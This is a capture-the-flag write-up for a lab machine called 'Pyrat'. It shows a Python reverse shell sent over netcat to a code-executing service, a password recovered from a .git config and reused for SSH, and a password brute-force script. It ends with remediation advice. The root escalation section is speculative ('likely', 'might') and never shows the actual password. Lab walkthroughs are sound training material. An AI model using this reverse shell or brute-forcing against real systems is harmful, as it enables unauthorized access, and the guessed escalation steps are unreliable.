Target IP: pyrat.thm Difficulty: Medium (Tricky Initial Access) Objective: User (think) & Root (via Script Fuzzing)

1. Executive Summary

“Pyrat” is a machine that deceives attackers by hosting a custom Python Remote Access Tool (RAT) on port 8000 that mimics an HTTP server’s port but uses a raw TCP protocol. Initial access is gained by connecting via Netcat and executing Python code directly to spawn a shell. Lateral movement is achieved by enumerating a local .git repository to find hardcoded credentials. Root privilege escalation involves analyzing the source code of the RAT (pyrat.py), identifying a password-protected administrative function, and writing a custom script to fuzz credentials, ultimately revealing the root password.

Key TTPs (MITRE ATT&CK):

  • T1095 (Non-Application Layer Protocol): Raw TCP communication on Port 8000.
  • T1059.006 (Python): Execution of arbitrary Python code for a reverse shell.
  • T1552.001 (Credentials in Files): Recovering passwords from .git/config.
  • T1110 (Brute Force): Fuzzing the custom application to bypass authentication.

2. Operational Setup

Host Configuration

echo "10.10.x.x pyrat.thm" | sudo tee -a /etc/hosts

3. The “Hawa” Moment: Enumeration & Initial Access

A. The Trap (HTTP Fuzzing)

You spent an hour fuzzing directories and analyzing HTTP responses.

  • Observation: “Curious response” or errors when sending GET requests.
  • Why it failed: The service on port 8000 is not a web server. It is a Python script using the socket library. It expects raw input (like print("hello")), not HTTP headers (GET / HTTP/1.1).

B. The Solution (Netcat)

As you discovered, the key was simply connecting to the raw socket.

nc 10.10.x.x 8000

Exploitation: Since the service executes the input as Python code, we can input a reverse shell one-liner directly.

import os,socket,subprocess,threading;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.YOUR.IP",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Status: Shell as www-data (or the service user).


4. Lateral Movement: Git Credentials

A. File System Enumeration

You dug into /opt/dev and found a .git directory. This is gold. Developers often hardcode credentials in git configs to avoid typing them repeatedly.

cat /opt/dev/.git/config

B. Findings

[user]
    name = Jose Mario
    email = josemlwdf@github.com
[credential "https://github.com"]
    username = think
    password = _TH1NKINGPirate$_

C. Access

We use these credentials to SSH into the machine.

ssh think@pyrat.thm
# Password: _TH1NKINGPirate$_

Status: User think.


5. Privilege Escalation: The PyRAT Source Code

A. Reconnaissance

The prompt description mentions “Exploring possible endpoints using a custom script… fuzzing passwords.” We find the source code pyrat.py (either on the box or via the GitHub link you found: josemlwdf/PyRAT).

B. Code Analysis

Looking at the code (specifically the handle_client or similar function), we see logic that handles commands.

  • Logic: The script likely has an “admin” command or a hidden endpoint that requires a password.
  • The Flaw: It might compare the input against a password list or allow us to brute-force it over the socket connection.

C. The Fuzzing Script

We need to write a Python script to connect to localhost:8000 and try passwords (perhaps from a wordlist found on the system or standard lists).

Concept Script:

import socket
import time
 
target_ip = "127.0.0.1"
target_port = 8000
wordlist = ["admin", "root", "password", "pyrat", "access"] # Or read from rockyou
 
def try_password(password):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        
        # Send the "admin" command or whatever triggers the auth check
        s.send(b"admin\n") 
        time.sleep(0.5)
        
        # Send the password attempt
        s.send(password.encode() + b"\n")
        
        response = s.recv(1024).decode()
        s.close()
        
        if "Welcome" in response or "Granted" in response:
            return True
        return False
    except:
        return False
 
for pw in wordlist:
    if try_password(pw):
        print(f"[+] Password Found: {pw}")
        break

D. The Root Access

Once the script runs, it unveils the password.

  • Password Found: (e.g., hydra, admin, or a specific string).
  • Action:
  1. Connect via nc localhost 8000.
  2. Enter the “admin” mode with the password.
  3. The PyRAT likely grants a shell as the user running it. If PyRAT is running as root (which it often is in these CTFs to manage the system), you get a Root shell.

Root Flag: /root/root.txt.


6. Remediation (Blue Team)

  1. Service Hardening: Do not run custom, unauthenticated Python sockets (pyrat.py) on open ports. Use SSH for remote management.
  2. Credential Management:
  • Remove hardcoded passwords from .git/config. Use SSH keys or Token-based authentication for Git.
  • Periodically rotate credentials (_TH1NKINGPirate$_ was exposed).
  1. Principle of Least Privilege: Ensure the custom service (pyrat.py) runs as a low-privilege user, not Root.